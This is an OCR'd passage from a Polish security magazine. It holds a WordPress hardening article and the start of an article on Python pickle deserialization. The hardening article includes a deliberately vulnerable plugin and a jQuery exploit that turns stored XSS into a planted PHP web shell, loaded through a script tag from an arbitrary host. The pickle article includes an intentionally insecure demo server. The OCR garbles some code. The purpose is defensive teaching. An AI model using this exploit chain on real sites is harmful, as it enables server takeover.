ng wiekszos¢ z nich mozna obstuzy¢ poprzez prosta modyfikacje kodu. WordPress
ma wbudowang funkcje the_generator (https://goo.gl/jG4C9j), ktéra jako wynik
dziatania zwraca w odpowiedniej formie informacje o wykorzystywanej wersji sys-
temu. WordPress udostepnia jednak mozliwos¢ nadpisywania wybranych funkgcji
poprzez tzw. filtry. Wykorzystujac inng funkcje, add_filter (https://goo.gl/kcNBcl),
mozna zmodyfikowa¢ wynik dziatania funkcji the_generator tak, aby zwracata
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btedng informacje o wykorzystywanej wersji lub nie zwracata jej w ogdle. Zmiany
nalezy wprowadzi¢ w pliku functions. php, ktéry domyslnie znajduje sie w kata-
logu wykorzystywanego szablonu (Listing 5).

Listing 5. Ukrycie wersji WordPress

function remove_wp_version_rss() {
return '';

add_filter('the_generator', 'remove_wp_version_rss');

Dodanie takiego fragmentu kodu, powinno usung¢ wiekszos¢ wystapien wersji Word-
Press zarowno w zrodle podstron, jak i w kanatach RSS. Kolejng kwestig, jaka nalezy sie
zaja¢, jest parametr ver dodawany do adreséw URL bedacych $ciezkami do zasobow
CSS oraz JavaScript wymaganych przez WordPress. Parametr ten mozna usuna¢ po-
przez dodanie kolejnego fragmentu kodu do pliku functions. php (Listing 6).

Listing 6. Ukrywanie wersji WordPress (zrodto: https://gist.github.com/tjhole/7451994)

function vc_remove_wp_ver_css_js( $src ) {
if ( strpos( $src, ‘ver=') )
$src = remove_query_arg( 'ver', $src );
return $src;

}

add_filter( 'style_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
add_filter( 'script_loader_src', 'vc_remove_wp_ver_css_js', 9999 );

Fragment kodu z Listingu 6 zawiera definicje funkcji, ktéra przyjmuje na wejsciu
adres URL zasobu do zatadowania, a nastepnie sprawdza, czy wystepuje w nim ciag
znakéw ver zakonczony znakiem rownosci. Jezeli warunek zostanie spetniony, usu-
wa ten parametr z adresu URL.

Chciatbym zaznaczy¢, ze zaproponowane zmiany w kodzie nie wptywaja nega-
tywnie na dziatanie WordPress. W panelu administracyjnym nadal bedzie zwracana
poprawna wersja.

ENUMEROWANIE UZYTKOWNIKOW

Oproécz ujawniania wersji WordPress, pozwala réwniez domyslnie na enumeracje
uzytkownikow, ktérzy zostali dodani w aplikacji. Poprzez przejscie do zasobu z Li-
stingu 7 wys$wietlane sg wpisy autora, ktérego login zdefiniowany jest w adresie URL.
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Listing 7. Adres zasobu, pod ktorym WordPress zwraca informacje o wpisach wybranego autora

https://adres-wordpress/author/<login_uzytkownika>

Oczywiscie, przejscie do takiego zasobu wymaga znajomosci loginu uzytkownika.
Istnieje jednak mozliwos¢ jego ustalenia. Przekazujagc w adresie URL parametr au-
thor oraz wybrany identyfikator liczbowy po stronie WordPress, zostanie wyzwolo-
na akgcja, ktora sprawdzi, czy w bazie istnieje uzytkownik o wybranym ID (Listing 8).

Listing 8. Zadanie HTTP weryfikujace, czy w bazie istnieje uzytkownik o ID réwnym 1

GET /?author=1 HTTP/1.1
Host: 127.0.0.1

Jezeli zostanie znaleziony uzytkownik o wybranym ID, aplikacja odpowie przekiero-
waniem do adresu, w ktérym zwréci login uzytkownika (Listing 9).

Listing 9. Odpowiedz WordPress, login uzytkownika ujawniony w nagtéwku Location

HTTP/1.1 301 Moved Permanently

Date: Sat, 10 Dec 2016 17:09:06 GMT

Location: https://127.0.0.1:8080/author/sekurak/
Content-Length: ©

Content-Type: text/html; charset=UTF-8

Ocena takiego zachowania pozostaje w gestii administratora danej instalacji Word-
Press, dobra praktyka jednak jest nie pozwala¢ na enumerowanie loginéw uzytkow-
nikow aplikacji. Taki cel mozna osiggnac¢ np. poprzez wprowadzenie odpowiednich
zmian w konfiguracji serwera WWW (Listing 10).

Listing 10. Blokowanie enumeracji uzytkownikoéw poprzez konfiguracje serwera Apache

<IfModule mod_rewrite.c>
RewriteCond %{QUERY_STRING} “author=([0-9]*)
RewriteRule .* https://127.0.0.1:8080/? [L,R=302]
</IfModule>

W tym miejscu warto rowniez wspomniec o tym, ze w sieci (https://goo.gl/pMPP9i)
mozna znalez¢ rozwigzanie opierajace sie na funkcjach dostarczanych przez Word-
Press. Konkretnie, podobnie jak w przypadku funkcji the_generator, wykorzystu-
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je sie mechanizm filtrow, tak aby nadpisa¢ zachowanie akcji template_redirect
(https://goo.gl/MnghRP). Caty kod przedstawiono w Listingu 11.

Listing 11. Kod, ktéry w zatozeniu ma uniemozliwi¢ enumeracje uzytkownikow (zrédto:
http://wordpress.stackexchange.com/questions/182236/completely-remove-the-author-url)

function author_page_redirect() {
if ( is_author() ) {
wp_redirect( home_url() );

add_action( 'template_redirect', 'author_page_redirect' );

Jest to bardzo dobry przyktad na to, ze nalezy weryfikowa¢, czy fragmenty kodoéw,
ktére kopiujemy z sieci, robig tak naprawde to, o czym piszg ich autorzy, oraz czy
mozna je uznac za bezpieczne. Po dodaniu kodu do pliku functions.php okazuje
sie, ze tak naprawde - enumeracja uzytkownikéw jest nadal mozliwa. Przechodzac
pod adres URL z parametrem author (Listing 8), aplikacja nadal wykonuje przekie-
rowanie pod adres zawierajacy login uzytkownika (Listing 12).

Listing 12. Odpowiedz aplikacji - w nagiéwkach nadal ujawniany jest login uzytkownika

HTTP/1.1 301 Moved Permanently

Date: Sat, 10 Dec 2016 17:34:29 GMT

Location: https://127.0.0.1:8080/author/sekurak/
Content-Length: ©

Connection: close

Content-Type: text/html; charset=UTF-8

Dopiero pdzniejsze zapytanie wysytane do serwera (Listing 13) wyzwala akcje prze-
kierowania do gtdownej strony (Listing 14).

Listing 13. Zapytanie wysytane do podstrony autora

GET /author/sekurak/ HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101
Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: [usuniete]

Connection: close
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Listing 14. Odpowiedz aplikacji — przekierowanie do strony gléwnej

HTTP/1.1 302 Found

Date: Sat, 10 Dec 2016 17:34:29 GMT

Location: https://127.0.0.1:8080

Link: <http://127.0.0.1:8080/wp-json/>; rel="https://api.w.org/"
Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 67122

<!DOCTYPE html>

[..]

TRWALO0SC ZMIAN

Aby zachowac¢ dobre praktyki, nalezy wspomnie¢ o kwestii trwatosci zmian, ktére
wprowadzamy. O ile pliki konfiguracyjne serwera WWW oraz plik wp - config. php nie
sg nadpisywane w wyniku aktualizacji szablonéw lub samego WordPressa, o tyle juz
plik functions. php, ktory stanowi cze$¢ wybranego przez nasz szablonu, moze zo-
sta¢ w wyniku takiej aktualizacji nadpisany. Zalecanym miejscem na wprowadzanie
wszelkich modyfikacji zachowania WordPress, ktore opieraja sie np. na nadpisywaniu
zachowania domysinych funkgji, jest stworzona przez nas samych wtyczka.

OCHRONA PROCESU UWIERZYTELNIENIA

WordPress nie ma wbudowanych zabezpieczen przed atakami stownikowymi.
Nic nie stoi na przeszkodzie, by przeprowadzac¢ zautomatyzowanie préby odgad-
niecia hasta uzytkownika. W przypadku WordPressa jest to o tyle proste, poniewaz,
jak zostato opisane wczesniej, domysinie istnieje mozliwos$¢ enumeracji uzytkowni-
kow, poprzez przestanie parametru author w adresie URL i inkrementowanie jego
wartosci od zera wzwyz. Pozostaje tylko napisanie prostego skryptu przeprowadza-
jacego taki atak, lub wykorzystanie jednego z dostepnych narzedzi, na przyktad Hy-
dry (http://tools.kali.org/password-attacks/hydra).

Podejscia do ochrony formularza logowania, a co za tym idzie — poczatkowego
elementu procesu uwierzytelnienia, sg rozne. Najprostsze z nich opieraja sie na wpro-
wadzeniu zmian w konfiguracji serwera WWW, tak aby plik wp-1ogin.php oraz caty
zaséb wp-admin byly dostepne tylko z okreslonych adreséw IP (Listing 15).

Listing 15. Mozliwos¢ uzyskania dostepu do formularza logowania oraz zasobu wp-admin
tylko z okres$lonych adreséw IP

<Files wp-login.php>
order allow,deny
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allow from 1.2.3.4
</Files>

<Directory /var/www/html/wp-admin/>
order deny,allow
allow from 1.2.3.4

</Directory>

Jezeli mowa juz o zmianach w konfiguracji serwera WWW, nic nie stoi na przeszkodzie,
aby wykorzystac¢ standardowy mechanizm HTTP Basic Authentication (Listing 16). Za-
rowno jednak wykorzystanie podejscia polegajacego na dopuszczaniu okreslonych
adreséw IP, jak i HTTP Basic Authentication moze nie by¢ rozwigzaniem dostatecznie
elastycznym.

Listing 16. Wdrozenie HTTP Basic Authentication w konfiguracji serwera Apache

<Directory "/var/www/html/ ">
AuthType Basic
AuthName "tell me something"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

AllowOverride All
Allow from All
</Directory>

Jeszcze wiekszy problem moze pojawic sie, gdy dostep do panelu zarzadzania be-
dzie musiata posiada¢ wieksza grupa uzytkownikoéw (np. osoby zarzadzajace firmo-
wq strong wizytéwkowa). Bardzo szybko moze pojawic sie pokusa wykorzystania
wspétdzielonych poswiadczen wykorzystywanych do przejecia HTTP Basic Authen-
tication, a zonglowanie dopuszczong lista adreséw IP, moze przyja¢ postac pracy
iscie syzyfowej. W takim przypadku warto rozwazy¢ wykorzystanie podejécia pole-
gajacego na uwierzytelnieniu wielopoziomowym (ang. multi-factor authentication).

W bazie wtyczek WordPress mozemy znalez¢ sporo rozwigzan pozwalajacych
doda¢ warstwe uwierzytelnienia dwusktadnikowego - jednym z nich jest wtycz-
ka Google Authenticator (https://wordpress.org/plugins/google-authenticator/),
ktéra udostepnia mozliwosci, jakie dostarcza projekt o tej samej nazwie — Google
Authenticator (https://goo.gl/aphPbe). Aplikacja dostepna jest na takie platformy
mobilne, jak Android czy iOS (https://goo.gl/uAFEBm). Proces wdrozenia wtyczki
w naszej instalacji WordPress, nalezy rozpoczac¢ od jej instalacji z poziomu panelu
zarzadzania, wybierajac zaktadke Wtyczki, nastepnie menu ,Dodaj nowgq". Po zata-
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dowaniu strony, nalezy wyszukac¢ wtyczki Google Authenticator i rozpoczac¢ proces
instalacji (Rysunek 6)

Google Zainstaluj teraz
Authenticator )
Szczegoly
Google Authenticator
for your WordPress
blog.
Autor: Henrik Schack
(88) Ostatnia aktualizacja: 8 miesiecy temu
20 000+ aktywnych instalagji Nie testowano z twojg wersja

WordPressa

Rysunek 6. Instalacja wtyczki Google Authenticator

Po zainstalowaniu wtyczki, nalezy przejs¢ do zaktadki Twdj profil i aktywowac uwie-
rzytelnienie dla swojego konta (Rysunek 7).

Kolejnym krokiem jest zainstalowanie aplikacji Google Authenticator z odpowia-
dajacego naszej platformie mobilnej sklepu. Jezeli nie wykorzystywalismy wczesniej
Authenticatora, powinien on po uruchomieniu wyswietli¢ formularz pozwalajacy
na wpisanie kodu bedacego ciggiem znakéw lub zeskanowanie QR kodu (Rysunek
8). Wtasnie z tej drugiej opcji skorzystamy w tym artykule. Po kliknieciu w przycisk
.Show/Hide QR code” (Rysunek 7), wtyczka WordPress wygeneruje dla nas obrazek
QR, ktéry nastepnie bedziemy mogli zeskanowac.

Google Authenticator Settings

Active v

Relaxed mode Relaxed mode allows for more time drifting on your phone clock (4 min).

Description Sekurak Hardening Description that you'll see in the Google Authenticator app on your phone.
Secret MPR&EDHTQFCHUUET Create new secret | Show/Hide QR code

Rysunek 7. Podstawowa konfiguracja wtyczki Google Authenticator w zaktadce Twadj profil
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T .l 72% W 16:54

Dodaj konto

Aby doda¢ konto, wybierz jedna z tych opcji:

ﬂ Skanuj kod kreskowy

E3  Wpisz otrzymany klucz

Rysunek 8. Google Authenticator uruchomiony w systemie Android

Wybierajac opcje skanowania kodu kreskowego i wskazujac na wyswietlany w prze-
gladarce QR kod, aplikacja automatycznie przeprowadzi wstepna konfiguracje wy-
maganych ustawien.

BT 7T .l 71%H 17:00

Authenticator

Wszystko gotowe

528 238

WordPress (Sekurak Hardening) s

When you're asked for a verification code, get it
here. The code changes frequently, so no need to

memorize it.
GOTOWE

Rysunek 9. Konfiguracja zaimportowana — Google Authenticator gotowy do pracy
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Na koniec, wszystkie zmiany nalezy zaakceptowad, klikajac w WordPress przycisk
»Zaktualizuj profil’, znajdujacy sie na samym dole podstrony Twdj profil. Od tego
momentu, przy prébie ponownego uwierzytelnienia zauwazymy, ze w formularzu
logowania pojawito sie nowe pole — Google Authenticator code (Rysunek 10).

Mazwa uzytkownika lub e-mail
Hasto

Google Authenticator code

Zapamietaj mnie Zaloguj sie

Rysunek 10. Nowe pole w formularzu logowania — Google Authenticator code

Kolejna proba uwierzytelnienia powiedzie sie, tylko jezeli podamy poprawnga pare
login i hasta oraz sze$cioznakowy kod wyswietlany w aplikacji mobilne;j.

EDYTOR SZABLONOW ORAZ WTYCZEK
Krytyczng z perspektywy bezpieczenstwa funkcja, w jaka zostat wyposazony
WordPress, jest edytor kodu zrédtowego wtyczek oraz szablonéw (Rysunek 11).

Edytuj wtyczki
Edytowanie akismet/akismet.php (aktualny stan elementu: wigczone)
<?php
i
* @package Akismet
</
/=

Plugin Mame: Akismet
Plugin URI: https://akismet.com/

Rysunek 11. Fragment widoku formularza edycji wtyczek
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Edytory te pozwalaja modyfikowac z poziomu panelu zarzadzania kod PHP sza-
blonéw oraz wtyczek. Oczywiscie, istnieje uzasadnienie dla takich funkcji— wygodna
edycja kodu bez koniecznosci $ciggania plikow na dysk i ich recznej aktualizacji
- niemniej warto zastanowic sie, dlaczego takie rozwigzania moga by¢ niebezpiecz-
ne. Po pierwsze, edytory te dostepne sg tylko dla uprzywilejowanych uzytkowni-
koéw. Nalezy jednak pamieta¢, ze ci bardziej uprzywilejowani uzytkownicy bardzo
czesto operujg w panelu administracyjnym na tresciach, ktére dostarczane sa przez
uzytkownikéw. Moga to by¢ np. komentarze, informacje o zapisanych do newslette-
ra uzytkownikach lub jakiekolwiek inne dane, ktdre pobierane sg z wejscia aplikacji,
a nastepnie przetwarzane w panelu administracyjnym. W tym miejscu chciatbym
przypomniec o dos¢ popularnej podatnosci w aplikacjach WWW, w tym wtyczkach
do WordPress — Cross-Site Scripting (XSS). Dla wielu, podatnos¢ ta moze wydawac
sie juz,nudna’, jednak w przypadku WordPressa mozna zaprezentowac prosty przy-
ktad, dzieki ktéremu wykonanie naszego kodu JavaScript w panelu administracyj-
nym pozwala przejs¢ od podatnosci XSS, do zdalnego wykonania kodu (RCE). Jak
tego dokonac¢? W pierwszym kroku musimy wiedzie¢ o podatnosci XSS lub znalez¢
taka w jednym z wykorzystywanych przez nas komponentow. Moze to by¢ zaréwno
szablon, jak i wtyczka. W drugim kroku, nalezy zweryfikowac w jaki sposob dane
z wejscia aplikacji s przetwarzane przez nasz komponent i czy s przetwarzane
w kontekscie panelu administracyjnego. Jezeli warunek ten jest spetniony, mozemy
sprobowad przeprowadzi¢ atak. Aby nie szuka¢ daleko, na potrzeby artykutu przy-
gotowana zostata prosta wtyczka do WordPress, ktérg mozna spakowa¢ do archi-
wum ZIP i zainstalowac (Listing 17).

Listing 17. Przykladowa podatna wtyczka

<?php
/*

Plugin Name: Vulnerable plugin
*/

add_action('admin_menu', 'vuln_plugin_menu');

function vuln_plugin_menu(){
add_menu_page( 'Vuln Plugin Page', 'Vuln Plugin', 'manage_options', 'vuln-
plugin', 'vuln_plugin_init' );

}

function vuln_plugin_init(){
$dir = plugin_dir_path( __FILE__ );
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echo "<hl>Vulnerable plugin</h1>";

echo "<br/>";

echo file_get_contents($dir . 'data.txt');
}

function vuln_plugin_shortcode() {

if (isset($_POST['vuln_data'])) {
$dir = plugin_dir_path( __FILE__ );
file put_contents($dir . 'data.txt', $ POST['vuln_data']);

}

$vuln_form = ‘'<form method="POST" action="?">";
$vuln_form .= '<textarea name="vuln_data"></textarea>';
$vuln_form .= '<input type="submit" value="Send data"/>';
$vuln_form .= '</form>';

return $vuln_form;

}

add_shortcode( 'vuln_plugin', 'vuln_plugin_shortcode' );

Zadaniem wtyczki jest wyswietli¢ formularz z polem tekstowym (Rysunek 12), za-
pisa¢ wprowadzone tam dane w pliku, a nastepnie wyswietli¢ je bez sanityzacji
w panelu administracyjnym. Wtyczka rejestruje wtasny shortcode, za pomoca kto-
rego mozemy osadzi¢ formularz na dowolnej podstronie (Rysunek 13), oraz dodaje
nowa pozycje do menu w panelu administracyjnym (pozycja Vuln Plugin).

Test<u>test</uz|

Rysunek 12. Formularz wygenerowany przez wtyczke

Edytuj Stl’Oﬂe Dodaj nowg

Podatna podstrona

Bezposredni odnosnik: https://127.0.0.1:8080/podatna-podstrona/  Edytyj

07 Dodaj medium
b || i || link || b-quote || del ns || img u ol li code more || zamknij tagi

[vuln_plugin]

Rysunek 13. Edycja strony testowej, w tresci dodany shortcode przygotowanej wtyczki

Hardening WordPress

Majac juz przygotowane podatne srodowisko, mozemy przejs¢ do proby stwo-
rzenia exploita, ktory wykorzysta podatnosc. Catos$¢ stworzona zostanie z wykorzy-
staniem JavaScript, dodatkowo, aby utatwi¢ sobie zadanie, wykorzystane zostang
funkcje biblioteki jQuery, ktéra domyslnie dotagczana jest do WordPress.

Listing 18. Kod exploita

jQuery.get('/wp-admin/plugin-editor.php?file=vulnerable-plugin/vulnerable-plugin.
php&scrollto=0', function(data){

var token = jQuery(data).find('input[name=_wpnonce]"').val();
var content = jQuery(data).find("#newcontent").val().replace("<?php","
echo “$_GET[@] ;\n");
jQuery.post( "/wp-admin/plugin-editor.php", {
_wpnonce: token,
newcontent: content,
action: "update",
file: "vulnerable-plugin/vulnerable-plugin.php",
plugin: " vulnerable-plugin/vulnerable-plugin.php"
3
})s

<?php

Przygotowany exploit (Listing 18) wykonuje kilka czynnosci. Zaraz po uruchomie-
niu, wysyfa on zapytanie asynchroniczne do zasobu /wp-admin. Celem tego dziata-
nia jest uzyskanie odpowiedzi HTTP z kodem HTML, w ktérym zaszyty bedzie row-
niez token anty-CSRF. Znajomos¢ tego tokena jest niezbedna do tego, aby atak sie
powiédt. Dalej exploit wyszukuje token i zapisuje jego warto$¢ w zmiennej o tej
samej nazwie. Kolejng czynnoscia jaka wykona, jest wysytanie zapytania POST za-
wierajacego kilka informacji. Przede wszystkim o tym, jaki plik jest modyfikowany,
jaka powinna byc¢ jego nowa zawartosc (aby wszystko przebiegto zgodnie z pla-
nem) oraz dodany na koncu pozyskany wczes$niej token anty-CSRF. Wykonanie tak
przygotowanego kodu powoduje, ze kod wtyczki zostaje zmodyfikowany tak, by
moc wykonywac na serwerze polecenia systemowe.

Edytuj wtyczki
Edytowanie vulnerable-plugin/vulnerable-plugin.php

<?php
15

*f

Rysunek 14. Zawartosc¢ pliku vulnerable-plugin.php stanowigcego czes¢ paczki podatnej wtyczki przed uruchomie-
niem exploita
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Payload nalezy dotaczy¢ w formularzu generowanym przez nasza podatng wtycz-
ke. Proponowang formga jest dotgczenie tego pliku z innej domeny poprzez uzycie
tagu script (Listing 19).

Listing 19. Kod, jaki nalezy wklei¢ w formularzu udostepnianym przez podatna wtyczke

<script src=//<dowolny adres>/exploit.js></script>Sekurak
Nastepnie, aby zweryfikowac czy dziata poprawnie, wystarczy przejs¢ do podstro-

ny podatnej wtyczki w panelu administracyjnym. Jezeli wszystko pdjdzie zgodnie
z planem, powinien wyswietli¢ sie tylko tekst,Sekurak” (Rysunek 15).

Vulnerable plugin

Sekurak

Rysunek 15. Widok podstrony podatnej wtyczki

Sprawdzenie poprawnosci wykonania kodu exploita wymaga ponownego przegla-
du zawartosci pliku, nalezy jeszcze raz sprawdzi¢, jakg zawartos¢ ma plik vulnera-
ble-plugin/vulnerable-plugin.php (Rysunek 16).

Edytuj wtyczki

Edytowanie vulnerable-plugin/vulnerable-plugin.php

<?php eche "% _GET[e] ;

Plugin Mame: Vulnerable plugin

E

Rysunek 16. Kod wtyczki zmodyfikowany przez dziatanie exploita

Od teraz, odwotujac sie bezposrednio do skryptu vulnerable-plugin.php, moz-
liwe bedzie wykonywanie polecen systemowych na serwerze, na ktérym urucho-
miony jest WordPress z podatng wtyczka (Rysunek 17).

Hardening WordPress

Rysunek 17. Wykonanie polecen na serwerze

Mozliwos¢ przejecia kontroli nad serwerem, na ktérym uruchamiamy WordPress
poprzez podatnos¢ XSS, powinna by¢ wystarczajacg motywacja do tego, by wyta-
czy¢ edytory szablonéw oraz wtyczek (Listing 20).

Listing 20. Fragment kodu, ktéry nalezy dodac do pliku wp-config.php w celu dezaktywacji
edytorow plikéw PHP

| define( 'DISALLOW_FILE_EDIT', true );

NIC SIE PRZEDE MNA NIE UKRY]JE

Sposéb pozwalajacy na enumeracje uzytkownikéw, poprzez przekazanie pa-
rametru author w adresie URL, jest dos¢ dobrze znang przypadtoscia WordPress,
podobna historia dotyczy réwniez innego parametru — static. Po krétkiej anali-
zie kodu zrodtowego WordPressa mozna ustali¢, ze przekazanie parametru static
o dowolnej wartosci powoduje, ze WordPress zwraca w odpowiedzi tres¢ wszyst-
kich dodanych w aplikacji podstron (nie wpiséw). Takie zachowanie powoduje, ze
teoretycznie moze dojs¢ do ujawnienia tresci podstrony, ktdra zostata co prawda
opublikowana przez administratora, ale z jakiego$ powodu nie prowadzi do niej za-
den link. W trakcie wykonywania audytow systemow opartych o WordPress, bardzo
czesto mozna natknac sie na réznego typu,ukryte” formularze, testowe wersje pod-
stron lub informacje o wykorzystywanych, ale nieaktywnych wtyczkach (np. poprzez
nieprzetworzone shortcody (https://codex.wordpress.org/Shortcode_API). Dobrym
pomystem jest zablokowanie akcji wyzwalanej przez przekazanie tego parametru
w podobny sposéb, jak w przypadku parametru author. Analogiczny efekt mozna
0siggnac¢ poprzez dodanie do adresu URL parametru page_id, nastepnie ustawie-
nie iteracji po kolejnych wartosciach w gore.
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ZMIANA DOMYSLNYCH SCIEZEK

WordPress jest wzorcowg aplikacjg pod katem badania i weryfikacji ustawien
bezpieczenstwa. Kolejnym zadaniem na liscie audytora WordPressa, jest mozliwos¢
zmiany domyslnych $ciezek, pod ktérymi WordPress udostepnia swoje najwazniej-
sze zasoby. Nalezy tutaj jednak jasno zaznaczy¢, ze takie ustawienie moze jedynie
spowodowac, ze liczne roboty oraz skrypty przeczesujace sie¢, po natknieciu sie na
tak skonfigurowang instalacje WordPress po prostu ja omina. Jezeli komponenty
systemu (np. wtyczki lub szablony) bedg nieaktualne oraz podatne na btedy bezpie-
czenstwa, nie uchroni nas to przed ich wykorzystaniem.

Cata operacja sprowadza sie do dodania odpowiednich wpiséw w pliku
wp-config.php. Mozemy zdefiniowac $ciezke dla catego katalogu wp-content
(Listing 21) lub, jezeli preferujemy — wskazac konkretne $ciezki osobno dla wtyczek
(https://goo.gl/NyheoX), szablonéw oraz plikdw wgrywanych na serwer.

Listing 21. Zmiana $ciezki oraz adresu katalogu wp-content

define( 'WP_CONTENT_DIR', dirname(__FILE__) . '/blog/assets' );
define( 'WP_CONTENT_URL', 'http://example/blog/assets' );

Dodanie przytoczonych fragmentéw kodu powoduje nadpisanie statych zdefinio-
wanych w pliku default-constants. php.

WERYFIKACJA KODU

Nie tylko w ramach hardeningu, ale takze dbatosci o ogdlng ,higiene” wykorzy-
stania WordPress, mozna rozwazy¢ przeprowadzenie przynajmniej podstawowe;j
weryfikacji kodu instalowanych w systemie wtyczek oraz szablonéw. W przypadku
rozbudowanych rozszerzen, moze to byc¢ bardzo ktopotliwe. Jednak w przypadku
mniejszych rozwiagzan, przeprowadzenie podstawowej analizy kodu PHP powinno
by¢ w zasiegu mozliwosci wiekszosci opiekundw takich instalacji. Osoby dysponu-
jace wiekszg iloscig czasu oraz bardziej ambitne, moga wesprzec swoja prace wyko-
rzystujagc OWASP Code Review Guide (https://goo.gl/cf4B).

AKTUALIZAC]E

WordPress od wersji 3.7 wzwyz, potrafi automatycznie zainstalowac¢ wszystkie naj-
wazniejsze aktualizacje. Dzieje sie tak, o ile pozwala na to konfiguracja srodowiska. Trze-
ba jednak zweryfikowac, czy taki mechanizm jest aktywny oraz czy nie wprowadzono

Hardening WordPress

zmian, ktore blokuja instalowanie automatycznych aktualizacji. Zablokowanie tego me-
chanizmu mozliwe jest poprzez modyfikacje pliku wp-config.php (Listing 22).

Listing 22. Dezaktywacja mechanizmu automatycznych aktualizacji

define( 'AUTOMATIC_UPDATER_DISABLED', true );

WordPress pozwala rowniez na modyfikacje zachowania mechanizmu automatycz-
nych aktualizacji. W zaleznosci od ustawien parametru WP_AUTO_UPDATE_CORE
(Listing 23) mozemy wymusi¢ instalowanie tylko najwazniejszych aktualizacji lub
nawet wersji WordPress pochodzacych z gatezi developerskiej — ta opcja oczywiscie
nie jest zalecana, jezeli dbamy o stabilnos¢ naszego $rodowiska.

Listing 23. Wymuszenie automatycznej instalacji najwazniejszych tatek bezpieczenstwa

define( 'WP_AUTO_UPDATE_CORE', minor );

Kwestia weryfikacji konfiguracji mechanizmu automatycznych aktualizacji wyda-
je sie przybiera¢ szczegdlnie na znaczeniu w kontekscie niedawnych doniesien
o podatnosci w WordPress, ktéra umozliwiata nieuwierzytelnionemu uzytkowniko-
wi dowolnie zmodyfikowac tre$¢ wybranego wpisu. Jak sie okazuje, btad wykorzy-
stywany byt na masowg skale:

» https://sekurak.pl/masowe-hacki-wordpressa-przejete-rowniez-polskie-serwisy/
» https://sekurak.pl/juz-15-miliona-stron-przejetych-critical-w-wordpress-do-

akcji-wkracza-google/
» https://sekurak.pl/blog-o-bezpieczenstwie-trendmicro-hackniety/

REST API

Od kilku wersji wstecz, WordPress posiada wbudowane wsparcie dla REST API,
ktére umozliwia dostep do najwazniejszych elementéw udostepnianych przez
WordPress. Jezeli nie planujemy wykorzystywac tego mechanizmu, nalezy pamie-
tac o jego wytaczeniu:
» https://pl.wordpress.org/plugins/disable-json-api/

WERYFIKACJA
Wprowadzone przez nas modyfikacje trzeba zweryfikowaé. Mozna to zrobic
m.in. za pomocg skanera podatnosci dedykowanego dla WordPress — wpscan.
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Skrypt ten domyslnie mozna znalez¢ w dystrybucji Kali Linux, lub pobraé z repozy-
torium GitHub (https://github.com/wpscanteam/wpscan). Jezeli mielismy juz oka-
zje wczesniej zainstalowac lub pobrac¢ wpscan, wtedy przed wykonaniem kolejne-
go skanu proponuje uruchomi¢ skrypt z przetagcznikiem update (Listing 24), ktéry
wyzwala akcje aktualizacji bazy.

Listing 24. Aktualizacja bazy sygnatur wpscan

wpscan --update

Podstawowy skan wykonuje sie, wskazujac adres testowanego serwisu w parame-
trze url (Listing 25):

Listing 25. Podstawowy skan z wykorzystaniem wpscan

wpscan --url <adres URL testowanego serwisu>

Jezeli podstawowa weryfikacja przebiegnie pomyslnie, trzeba sprawdzi¢, jakie modyfi-
kacje domyslnego skanu oferuje wpscan, nastepnie, zwiekszyc jego zakres (Listing 26).

Hardening WordPress

Listing 26. Poinstruowanie wpscan by przeprowadzit m.in. enumeracje uzytkownikéw oraz
petna weryfikacje zainstalowanych szablonéw i wtyczek

wpscan --enumerate tt --enumerate u --enumerate p --enumerate t -url <adres URL>

PODSUMOWANIE

WordPress udostepnia rozbudowane mozliwosci, ktére mogg zosta¢ dodatkowo
poszerzone z wykorzystaniem bogatej listy wtyczek oraz szablonéw. Nalezy jednak
zachowac umiar i poswieci¢ chwile na zweryfikowanie, czy udostepniana przez nas
instalacja WordPress jest bezpieczna oraz czy nie udostepnia zbyt wielu informacji.
Jezeli nie mamy czasu na sprawdzenie wykorzystywanych przez nas komponentow,
to powinnismy przynajmniej zadba¢ o to, aby byty one aktualne lub upewnic sig,
czy proces ten jest automatyczny.

Marcin Piosek. Analityk bezpieczenstwa IT, realizuje audyty bezpieczeristwa
oraz testy penetracyjne w firmie Securitum.
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Unpickle - deserializacja w Pythonie
i zdalne wykonywanie kodu

W tym artykule pokaze uniwersalny sposéb na wykorzystanie niefil-
trowanej deserializacji danych w Pythonie do wykonywania dowolnego
kodu po stronie ofiary.

Przed przeczytaniem tego tekstu, zalecam zapoznac sie z artykutem o Object Injection, gdzie
opisana jest analogiczna podatno$é w PHP.

(DE)SERIALIZACJA W PYTHONIE

W Pythonie do serializacji/deserializacji danych najczesciej uzywany jest modut
pickle. Serializacje wykonuje sie z uzyciem metody pickle.dumps, zas deseriali-
zacje metodg pickle.loads. Podobnie jak w przypadku PHP, dokumentacja mo-
dutu pickle ostrzega przed uzywaniem go do niezaufanych danych.

This documentation describes both the pickie module and the cpickie module.

Warning: The pickie module is not intended to be secure against erroneous or
maliciously constructed data. Never unpickle data received from an untrusted or
unauthenticated source.

Ostrzezenie z dokumentacji pickle

W tym tekscie wyjasnie, w jaki sposéb deserializacja danych z niezaufanych zrédet
w Pythonie, moze prowadzi¢ do zdalnego wykonywania kodu.

Swego czasu, gdy poszukiwatem btedéw na stronach Google’a, natrafitem na wi-
tryne Google Online Enrollment System, ktéra byta podatna na opisywany problem.
W jednym z wyszukiwan deserializowano obiekt typu datetime. Jako, ze btad oczy-
wiscie zostat juz dawno naprawiony, przygotowatem prostg aplikacje symulujaca
zachowanie tej witryny.

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

from urlparse import urlparse, parse_qgs

from datetime import datetime

import pickle
import base64, cgi

Unpickle — deserializacja w Pythonie i zdalne wykonywanie kodu

DEFAULT_DATE = base64.b64encode(pickle.dumps(datetime.now()))

TEMPLATE="""<strong>Year:</strong> {}<br>
<strong>Month:</strong> {}<br>
<strong>Day:</strong> {}<br>

<form method=GET>

<textarea name=date cols=40 rows=5>{}
</textarea>

<button type="submit">Go onl!</button>
</form>

class MyHandler(BaseHTTPRequestHandler):

def output_error(self, msg):
self.wfile.write('<p><strong style="color: red;">{}</strong></p>"'.format(cgi.
escape(msg)))

def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html; charset=utf8")
self.end_headers()

get_params = parse_gs(urlparse(self.path).query)
date_encoded = get_params.get('date', [DEFAULT_DATE])[@]

try:
